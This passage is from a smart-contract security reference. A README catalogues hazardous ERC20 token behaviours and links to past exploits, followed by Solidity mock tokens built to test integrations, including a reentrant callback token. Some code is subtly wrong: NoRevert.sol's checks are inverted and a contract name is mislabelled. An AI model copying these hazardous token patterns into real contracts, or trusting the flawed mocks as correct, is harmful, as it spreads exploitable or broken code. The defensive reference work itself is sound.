least, and smart contract developers should in general default to the following patterns when
interaction with external code is required:
1. A contract level allowlist of known good tokens.
2. Direct interaction with tokens should be performed in dedicated wrapper contracts at the edge of
the system. This allows the core to assume a consistent and known good semantics for the
behaviour of external assets.
In some cases the above patterns are not practical (for example in the case of a permissionless AMM,
keeping an on chain allowlist would require the introduction of centralized control or a complex
governance system), and in these cases developers must take great care to make these interactions in
a highly defensive manner. It should be noted that even if an onchain allowlist is not feasible, an
offchain allowlist in the official UI can also protect unsophisticated users from tokens that
violate the contracts expectations, while still preserving contract level permissionlessness.
Finally if you are building a token, you are strongly advised to treat the following as a list of
behaviours to avoid.
*Additional Resources*
- Trail of Bits [token integration checklist](https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md).
- Consensys Diligence [token integration checklist](https://consensys.net/diligence/blog/2020/11/token-interaction-checklist/)
# Tokens
## Reentrant Calls
Some tokens allow reentract calls on transfer (e.g. `ERC777` tokens).
This has been exploited in the wild on multiple occasions (e.g. [imBTC uniswap pool
drained](https://defirate.com/imbtc-uniswap-hack/), [lendf.me
drained](https://defirate.com/dforce-hack/))
*example*: [Reentrant.sol](./src/Reentrant.sol)
## Missing Return Values
Some tokens do not return a bool (e.g. `USDT`, `BNB`, `OMG`) on ERC20 methods. see
[here](https://gist.githubusercontent.com/lukas-berlin/f587086f139df93d22987049f3d8ebd2/raw/1f937dc8eb1d6018da59881cbc633e01c0286fb0/Tokens%20missing%20return%20values%20in%20transfer) for a comprehensive (if somewhat outdated) list.
Some tokens (e.g. `BNB`) may return a `bool` for some methods, but fail to do so for others. This
resulted in stuck `BNB` tokens in Uniswap v1
([details](https://mobile.twitter.com/UniswapProtocol/status/1072286773554876416)).
Some particulary pathological tokens (e.g. Tether Gold) declare a bool return, but then return
`false` even when the transfer was successful
([code](https://etherscan.io/address/0x4922a015c4407f87432b179bb209e125432e4a2a#code)).
A good safe transfer abstraction
([example](https://github.com/Uniswap/uniswap-v2-core/blob/4dd59067c76dea4a0e8e4bfdda41877a6b16dedc/contracts/UniswapV2Pair.sol#L44))
can help somewhat, but note that the existance of Tether Gold makes it impossible to correctly handle
return values for all tokens.
Two example tokens are provided:
- `MissingReturns`: does not return a bool for any erc20 operation
- `ReturnsFalse`: declares a bool return, but then returns false for every erc20 operation
*example*: [MissingReturns.sol](./src/MissingReturns.sol)
*example*: [ReturnsFalse.sol](./src/ReturnsFalse.sol)
## Fee on Transfer
Some tokens take a transfer fee (e.g. `STA`, `PAXG`), some do not currently charge a fee but may do
so in the future (e.g. `USDT`, `USDC`).
The `STA` transfer fee was used to drain $500k from several balancer pools ([more
details](https://medium.com/@1inch.exchange/balancer-hack-2020-a8f7131c980e)).
*example*: [TransferFee.sol](./src/TransferFee.sol)
## Balance Modifications Outside of Transfers (rebasing / airdrops)
Some tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style
rebasing tokens, Compound style airdrops of governance tokens, mintable / burnable tokens).
Some smart contract systems cache token balances (e.g. Balancer, Uniswap-V2), and arbitrary
modifications to underlying balances can mean that the contract is operating with outdated
information.
In the case of Ampleforth, some Balancer and Uniswap pools are special cased to ensure that the
pool's cached balances are atomically updated as part of the rebase prodecure
([details](https://www.ampltalk.org/app/forum/technology-development-17/topic/supported-dex-pools-61/)).
*example*: TODO: implement a rebasing token
## Upgradable Tokens
Some tokens (e.g. `USDC`, `USDT`) are upgradable, allowing the token owners to make arbitrary
modifications to the logic of the token at any point in time.
A change to the token semantics can break any smart contract that depends on the past behaviour.
Developers integrating with upgradable tokens should consider introducing logic that will freeze
interactions with the token in question if an upgrade is detected. (e.g. the [`TUSD`
adapter](https://github.com/makerdao/dss-deploy/blob/7394f6555daf5747686a1b29b2f46c6b2c64b061/src/join.sol#L321)
used by MakerDAO).
*example*: [Upgradable.sol](./src/Upgradable.sol)
## Flash Mintable Tokens
Some tokens (e.g. `DAI`) allow for so called "flash minting", which allows tokens to be minted for the duration
of one transaction only, provided they are returned to the token contract by the end of the
transaction.
This is similar to a flash loan, but does not require the tokens that are to be lent to exist before
the start of the transaction. A token that can be flash minted could potentially have a total supply
of max `uint256`.
Documentation for the MakerDAO flash mint module can be found
[here](https://docs.makerdao.com/smart-contract-modules/flash-mint-module).
## Tokens with Blocklists
Some tokens (e.g. `USDC`, `USDT`) have a contract level admin controlled address blocklist. If an
address is blocked, then transfers to and from that address are forbidden.
Malicious or compromised token owners can trap funds in a contract by adding the contract address to
the blocklist. This could potentially be the result of regulatory action against the contract
itself, against a single user of the contract (e.g. a Uniswap LP), or could also be a part of an
extortion attempt against users of the blocked contract.
*example*: [BlockList.sol](./src/BlockList.sol)
## Pausable Tokens
Some tokens can be paused by an admin (e.g. `BNB`, `ZIL`).
Similary to the blocklist issue above, an admin controlled pause feature opens users
of the token to risk from a malicious or compromised token owner.
*example*: [Pausable.sol](./src/Pausable.sol)
## Approval Race Protections
Some tokens (e.g. `USDT`, `KNC`) do not allow approving an amount `M > 0` when an existing amount
`N > 0` is already approved. This is to protect from an ERC20 attack vector described
[here](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.b32yfk54vyg9).
[This PR](https://github.com/Uniswap/uniswap-v2-periphery/pull/26#issuecomment-647543138) shows some
in the wild problems caused by this issue.
*example*: [Approval.sol](./src/Approval.sol)
## Revert on Approval To Zero Address
Some tokens (e.g. OpenZeppelin) will revert if trying to approve the zero address to spend tokens
(i.e. a call to `approve(address(0), amt)`).
Integrators may need to add special cases to handle this logic if working with such a token.
*example*: [ApprovalToZero.sol](./src/ApprovalToZero.sol)
## Revert on Zero Value Transfers
Some tokens (e.g. `LEND`) revert when transfering a zero value amount.
*example*: [RevertZero.sol](./src/RevertZero.sol)
## Multiple Token Addresses
Some proxied tokens have multiple addresses. For example `TUSD` has two addresses:
`0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E` and `0x0000000000085d4780B73119b644AE5ecd22b376`
(calling transfer on either affects your balance on both).
As an example consider the following snippet. `rescueFunds` is intended to allow the contract owner
to return non pool tokens that were accidentaly sent to the contract. However, it assumes a single
address per token and so would allow the owner to steal all funds in the pool.
```solidity
mapping isPoolToken(address => bool);
constructor(address tokenA, address tokenB) public {
isPoolToken[tokenA] = true;
isPoolToken[tokenB] = true;
}
function rescueFunds(address token, uint amount) external nonReentrant onlyOwner {
require(!isPoolToken[token], "access denied");
token.transfer(msg.sender, amount);
}
```
*example*: [Proxied.sol](./src/Proxied.sol)
## Low Decimals
Some tokens have low decimals (e.g. `USDC` has 6). Even more extreme, some tokens like [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) only have 2 decimals.
This may result in larger than expected precision loss.
*example*: [LowDecimals.sol](./src/LowDecimals.sol)
## High Decimals
Some tokens have more than 18 decimals (e.g. `YAM-V2` has 24).
This may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.
*example*: [HighDecimals.sol](./src/HighDecimals.sol)
## `transferFrom` with `src == msg.sender`
Some token implementations (e.g. `DSToken`) will not attempt to decrease the caller's allowance if
the sender is the same as the caller. This gives `transferFrom` the same semantics as `transfer` in
this case. Other implementations (e.g. OpenZeppelin, Uniswap-v2) will attempt to decrease the
caller's allowance from the sender in `transferFrom` even if the caller and the sender are the same
address, giving `transfer(dst, amt)` and `transferFrom(address(this), dst, amt)` a different
semantics in this case.
*examples*:
Examples of both semantics are provided:
- [ERC20.sol](./src/ERC20.sol): does not attempt to decrease allowance
- [TransferFromSelf.sol](./src/TransferFromSelf.sol): always attempts to decrease the allowance
## Non `string` metadata
Some tokens (e.g.
[`MKR`](https://etherscan.io/address/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#code)) have metadata
fields (`name` / `symbol`) encoded as `bytes32` instead of the `string` prescribed by the ERC20
specification.
This may cause issues when trying to consume metadata from these tokens.
*example*: [Bytes32Metadata.sol](./src/Bytes32Metadata.sol)
## Revert on Transfer to the Zero Address
Some tokens (e.g. openzeppelin) revert when attempting to transfer to `address(0)`.
This may break systems that expect to be able to burn tokens by transfering them to `address(0)`.
*example*: [RevertToZero.sol](./src/RevertToZero.sol)
## No Revert on Failure
Some tokens do not revert on failure, but instead return `false` (e.g.
[ZRX](https://etherscan.io/address/0xe41d2489571d322189246dafa5ebde1f4699f498#code)).
While this is technicaly compliant with the ERC20 standard, it goes against common solidity coding
practices and may be overlooked by developers who forget to wrap their calls to `transfer` in a
`require`.
*example*: [NoRevert.sol](./src/NoRevert.sol)
## Revert on Large Approvals & Transfers
Some tokens (e.g. `UNI`, `COMP`) revert if the value passed to `approve` or `transfer` is larger than `uint96`.
Both of the above tokens have special case logic in `approve` that sets `allowance` to `type(uint96).max`
if the approval amount is `uint256(-1)`, which may cause issues with systems that expect the value
passed to `approve` to be reflected in the `allowances` mapping.
*example*: [Uint96.sol](./src/Uint96.sol)
## Code Injection Via Token Name
Some malicious tokens have been observed to include malicious javascript in their `name` attribute,
allowing attackers to extract private keys from users who choose to interact with these tokens via
vulnerable frontends.
This has been used to exploit etherdelta users in the wild ([reference](https://hackernoon.com/how-one-hacker-stole-thousands-of-dollars-worth-of-cryptocurrency-with-a-classic-code-injection-a3aba5d2bff0)).
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/shell.nix
================================================
let
sources = import ./nix/sources.nix;
pkgs = import sources.dapptools {};
in
pkgs.mkShell {
buildInputs = with pkgs; [
dapp
niv
solc-static-versions.solc_0_6_12
solc-static-versions.solc_0_7_6
solc-static-versions.solc_0_8_6
];
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Approval.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ApprovalRaceToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(allowance[msg.sender][usr] == 0, "unsafe-approve");
return super.approve(usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ApprovalToZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ApprovalToZeroToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(usr != address(0), "no approval for the zero address");
return super.approve(usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/BlockList.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract BlockableToken is ERC20 {
// --- Access Control ---
address owner;
modifier auth() { require(msg.sender == owner, "unauthorised"); _; }
// --- BlockList ---
mapping(address => bool) blocked;
function block(address usr) auth public { blocked[usr] = true; }
function allow(address usr) auth public { blocked[usr] = false; }
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {
owner = msg.sender;
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(!blocked[src], "blocked");
require(!blocked[dst], "blocked");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Bytes32Metadata.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract ERC20 is Math {
// --- ERC20 Data ---
bytes32 public constant name = "Token";
bytes32 public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ERC20.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract ERC20 is Math {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/HighDecimals.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract HighDecimalToken is ERC20 {
constructor(uint _totalSupply) ERC20(_totalSupply) public {
decimals = 50;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/LowDecimals.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract LowDecimalToken is ERC20 {
constructor(uint _totalSupply) ERC20(_totalSupply) public {
decimals = 2;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/MissingReturns.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract MissingReturnToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external {
transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
}
function approve(address usr, uint wad) external {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/NoRevert.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract NoRevertToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
if (balanceOf[src] >= wad) return false; // insufficient src bal
if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst bal too high
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
if (allowance[src][msg.sender] >= wad) return false; // insufficient allowance
allowance[src][msg.sender] = allowance[src][msg.sender] - wad;
}
balanceOf[src] = balanceOf[src] - wad;
balanceOf[dst] = balanceOf[dst] + wad;
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Pausable.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract PausableToken is ERC20 {
// --- Access Control ---
address owner;
modifier auth() { require(msg.sender == owner, "unauthorised"); _; }
// --- Pause ---
bool live = true;
function stop() auth external { live = false; }
function start() auth external { live = true; }
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {
owner = msg.sender;
}
// --- Token ---
function approve(address usr, uint wad) override public returns (bool) {
require(live, "paused");
return super.approve(usr, wad);
}
function transfer(address dst, uint wad) override public returns (bool) {
require(live, "paused");
return super.transfer(dst, wad);
}
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(live, "paused");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Proxied.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
/*
Provides two contracts:
1. ProxiedToken: The underlying token, state modifications must be made through a proxy
2. TokenProxy: Proxy contract, appends the original msg.sender to any calldata provided by the user
The ProxiedToken can have many trusted frontends (TokenProxy's).
The frontends should append the address of their caller to calldata when calling into the backend.
Admin users of the ProxiedToken can add new delegators.
*/
contract ProxiedToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
admin[msg.sender] = true;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Access Control ---
mapping(address => bool) public admin;
function rely(address usr) external auth { admin[usr] = true; }
function deny(address usr) external auth { admin[usr] = false; }
modifier auth() { require(admin[msg.sender], "non-admin-call"); _; }
mapping(address => bool) public delegators;
modifier delegated() { require(delegators[msg.sender], "non-delegator-call"); _; }
function setDelegator(address delegator, bool status) external auth {
delegators[delegator] = status;
}
// --- Token ---
function transfer(address dst, uint wad) delegated external returns (bool) {
return _transferFrom(_getCaller(), _getCaller(), dst, wad);
}
function transferFrom(address src, address dst, uint wad) delegated external returns (bool) {
return _transferFrom(_getCaller(), src, dst, wad);
}
function approve(address usr, uint wad) delegated external returns (bool) {
return _approve(_getCaller(), usr, wad);
}
// --- Internals ---
function _transferFrom(
address caller, address src, address dst, uint wad
) internal returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != caller && allowance[src][caller] != type(uint).max) {
require(allowance[src][caller] >= wad, "insufficient-allowance");
allowance[src][caller] = sub(allowance[src][caller], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function _approve(address caller, address usr, uint wad) internal returns (bool) {
allowance[caller][usr] = wad;
emit Approval(caller, usr, wad);
return true;
}
// grabs the first word after the calldata and masks it with 20bytes of 1's
// to turn it into an address
function _getCaller() internal pure returns (address result) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
}
contract TokenProxy {
address payable immutable public impl;
constructor(address _impl) public {
impl = payable(_impl);
}
receive() external payable { revert("don't send me ETH!"); }
fallback() external payable {
address _impl = impl; // pull impl onto the stack
assembly {
// get free data pointer
let ptr := mload(0x40)
// write calldata to ptr
calldatacopy(ptr, 0, calldatasize())
// store msg.sender after the calldata
mstore(add(ptr, calldatasize()), caller())
// call impl with the contents of ptr as caldata
let result := call(gas(), _impl, callvalue(), ptr, add(calldatasize(), 32), 0, 0)
// copy the returndata to ptr
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
// revert if the call failed
case 0 { revert(ptr, size) }
// return ptr otherwise
default { return(ptr, size) }
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Reentrant.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ReentrantToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Call Targets ---
mapping (address => Target) public targets;
struct Target {
bytes data;
address addr;
}
function setTarget(address addr, bytes calldata data) external {
targets[msg.sender] = Target(data, addr);
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool res) {
res = super.transferFrom(src, dst, wad);
Target memory target = targets[src];
if (target.addr != address(0)) {
(bool status,) = target.addr.call{gas: gasleft()}(target.data);
require(status, "call failed");
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ReturnsFalse.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract ReturnsFalseToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return false;
}
function approve(address usr, uint wad) external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return false;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/RevertToZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ReentrantToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(dst != address(0), "transfer-to-zero");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/RevertZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract RevertZeroToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(wad != 0, "zero-value-transfer");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/TransferFee.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract TransferFeeToken is ERC20 {
uint immutable fee;
// --- Init ---
constructor(uint _totalSupply, uint _fee) ERC20(_totalSupply) public {
fee = _fee;
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));
balanceOf[address(0)] = add(balanceOf[address(0)], fee);
emit Transfer(src, dst, sub(wad, fee));
emit Transfer(src, address(0), fee);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/TransferFromSelf.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract TransferFromSelfToken is Math {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
_transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
if (allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
_transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
// --- Internal ---
function _transfer(address src, address dst, uint wad) private {
require(balanceOf[src] >= wad, "insufficient-balance");
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Uint96.sol
================================================
